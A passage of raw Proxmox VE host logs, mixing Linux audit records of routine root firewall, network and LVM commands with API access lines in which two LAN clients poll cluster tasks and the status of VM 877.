auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965899808,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:38 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781965165266,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.266:64434): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fd190 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61904 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475341,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.341:65755): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964385427,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.427:60804): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58378 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965897778,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965165257,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.257:64433): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6790 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61903 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965474804,"@rawstring":"node=pve type=EXECVE msg=audit(1781965474.804:65754): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964385424,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.424:60803): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5cae296d1740 items=0 ppid=1156 pid=58377 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965897778,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781965165250,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.250:64432): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb641ddc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61902 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965474778,"@rawstring":"node=pve type=EXECVE msg=audit(1781965474.778:65753): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964385422,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.422:60802): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f5390 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58377 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965897778,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:36 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781965164197,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965164.197:64431): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bfd20 a1=64f8d740bf70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61899 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965473129,"@rawstring":"node=pve type=EXECVE msg=audit(1781965473.129:65752): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964385418,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.418:60801): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13dd80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965896791,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781965164173,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965164.173:64430): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d0260 a1=64f8d1780470 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61898 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965473121,"@rawstring":"node=pve type=EXECVE msg=audit(1781965473.121:65749): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964385413,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.413:60800): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ff910 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965896791,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965162029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965162.029:64429): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61896 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965468110,"@rawstring":"node=pve type=EXECVE msg=audit(1781965468.110:65746): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964385408,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.408:60799): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff760 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965896791,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781965162022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965162.022:64426): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955630 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965468102,"@rawstring":"node=pve type=EXECVE msg=audit(1781965468.102:65743): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964385403,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.403:60798): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff910 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58373 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895768,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:34 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781965161723,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965161.723:64423): arch=c000003e syscall=59 success=yes exit=0 a0=64a7761062b0 a1=64a7761077e0 a2=64a77612dc30 a3=8 items=3 ppid=60443 pid=61894 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"pvesm\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465330,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.330:65740): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964385397,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.397:60797): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58372 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965894765,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781965157010,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965157.010:64422): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955570 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61893 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465321,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.321:65739): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964385391,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.391:60796): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58371 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965894765,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781965157001,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965157.001:64419): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899554b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61892 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465321,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.321:65738): argc=1 a0=\"date\""} {"@timestamp":1781964385385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.385:60795): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58370 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965893765,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:32 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781965155233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.233:64416): arch=c000003e syscall=59 success=yes exit=0 a0=5f46ff69a0a0 a1=5f46ff696e20 a2=5f46ff678680 a3=5 items=2 ppid=61885 pid=61891 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465317,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.317:65736): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964385381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.381:60794): arch=c000003e syscall=59 success=yes exit=0 a0=5e70f4d05e90 a1=5e70f4d02c10 a2=5e70f4ce4680 a3=5 items=2 ppid=58363 pid=58369 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965892753,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:32 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965155230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.230:64415): arch=c000003e syscall=59 success=yes exit=0 a0=5f46cc76aac8 a1=7ffef27b1560 a2=5f46ff678680 a3=5f46cc74e24e items=2 ppid=61885 pid=61887 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465309,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.309:65735): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964385379,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.379:60793): arch=c000003e syscall=59 success=yes exit=0 a0=5e70c70c2ac8 a1=7ffd8478f850 a2=5e70f4ce4680 a3=5e70c70a624e items=2 ppid=58363 pid=58365 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965892753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965155228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.228:64414): arch=c000003e syscall=59 success=yes exit=0 a0=7ffef27b1520 a1=5f46ff695d10 a2=5f46ff678680 a3=5 items=2 ppid=61885 pid=61886 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465303,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.303:65734): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964385378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.378:60792): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd8478f810 a1=5e70f4ceb310 a2=5e70f4ce4680 a3=5 items=2 ppid=58363 pid=58364 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965892753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:31 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965155224,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.224:64412): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61885 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465297,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.297:65733): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964385374,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.374:60790): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58363 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965891732,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781965155217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.217:64411): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61884 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465291,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.291:65732): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964385367,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.367:60789): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58362 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965891732,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:30 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 930"} {"@timestamp":1781965155208,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.208:64410): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61883 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465285,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.285:65730): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964385361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.361:60788): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58361 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965890758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781965155200,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.200:64409): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61882 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465281,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.281:65729): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964385356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.356:60787): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b9900 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58360 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965889736,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:29 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 521"} {"@timestamp":1781965155192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.192:64408): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61881 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465275,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.275:65728): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964385350,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.350:60786): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140810 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965889736,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781965155190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.190:64407): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5827fec81740 items=0 ppid=1156 pid=61880 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965465271,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.271:65727): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964385344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.344:60785): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138ca0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965888735,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781965155186,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.186:64406): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f52c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61880 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465265,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.265:65726): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964384659,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964384.659:60784): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d16faaf0 a1=64f8d73d59f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58355 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965888735,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965155181,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.181:64405): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1340f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61879 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465259,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.259:65725): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964384626,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964384.626:60783): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d71ae710 a1=64f8d73cac10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58354 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965888735,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:27 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965155175,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.175:64404): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc136180 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61878 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465253,"@rawstring":"node=pve type=EXECVE msg=audit(1781965465.253:65724): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964384152,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964384.152:60782): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 